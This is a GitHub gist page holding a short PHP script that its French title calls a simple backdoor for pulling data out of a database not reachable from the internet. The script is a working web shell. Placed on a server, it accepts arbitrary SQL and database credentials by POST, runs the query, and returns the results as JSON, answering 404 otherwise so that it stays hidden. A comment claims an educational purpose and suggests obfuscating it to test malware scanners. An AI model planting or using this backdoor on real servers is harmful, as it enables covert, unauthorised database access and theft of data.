Skip to content

Instantly share code, notes, and snippets.

@bizouarn
Last active March 29, 2023 19:04
Show Gist options
  • Save bizouarn/cc2acb3faa2b74faf8836c7728557ede to your computer and use it in GitHub Desktop.
Save bizouarn/cc2acb3faa2b74faf8836c7728557ede to your computer and use it in GitHub Desktop.
Backdoor simple en PHP (Utiliser pour exfiltrer des données d'une base de données non accessible depuis l'internet)
<?php
// Fourni à des fins éducatives uniquement
// Ce code peut être obscurci pour tester les logiciels de détection de codes malveillants
// optionnel (vous permet de protéger votre porte dérobée, mais donne des informations sur la personne qui l'a mise en place)
// Récupération de l'adresse IP de l'envoyeur de la requête POST
// Et vérifie qu'elle est autorisé a utilisé la backdoor
/*
$ip = $_SERVER['REMOTE_ADDR'];
$ipCheck = '0.0.0.0';
if ($ip == $ipCheck){
// Si l'adresse IP est incorrecte, renvoie une erreur 404.
http_response_code(404);
exit;
}
*/
// Vérification si les paramètres sont renseignés
if (!isset($_POST['sql']) || !isset($_POST['host']) || !isset($_POST['bdname']) || !isset($_POST['user']) || !isset($_POST['password'])) {
// Si tous les paramètres ne sont pas renseignés, renvoie une erreur 404
http_response_code(404);
exit;
}
// Récupération des paramètres de la requête POST
$sql = $_POST['sql'];
$host = $_POST['host'];
$bdname = $_POST['bdname'];
$user = $_POST['user'];
$password = $_POST['password'];
try {
// Connexion à la base de données MySQL
$pdo = new PDO("mysql:dbname=$bdname;host=$host", "$user", "$password");
// Préparation de la requête SQL
$statement = $pdo->prepare($sql);
// Exécution de la requête SQL
$statement->execute();
// Récupération des résultats de la requête SQL
$results = $statement->fetchAll(PDO::FETCH_ASSOC);
// Encodage des résultats au format JSON
$json = json_encode($results);
// Affichage des résultats au format JSON
die($json);
} catch (PDOException $e) {
// Si une erreur se produit lors de la connexion à la base de données ou lors de l'exécution de la requête SQL, renvoie l'erreur.
die("Erreur : " . $e->getMessage());
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment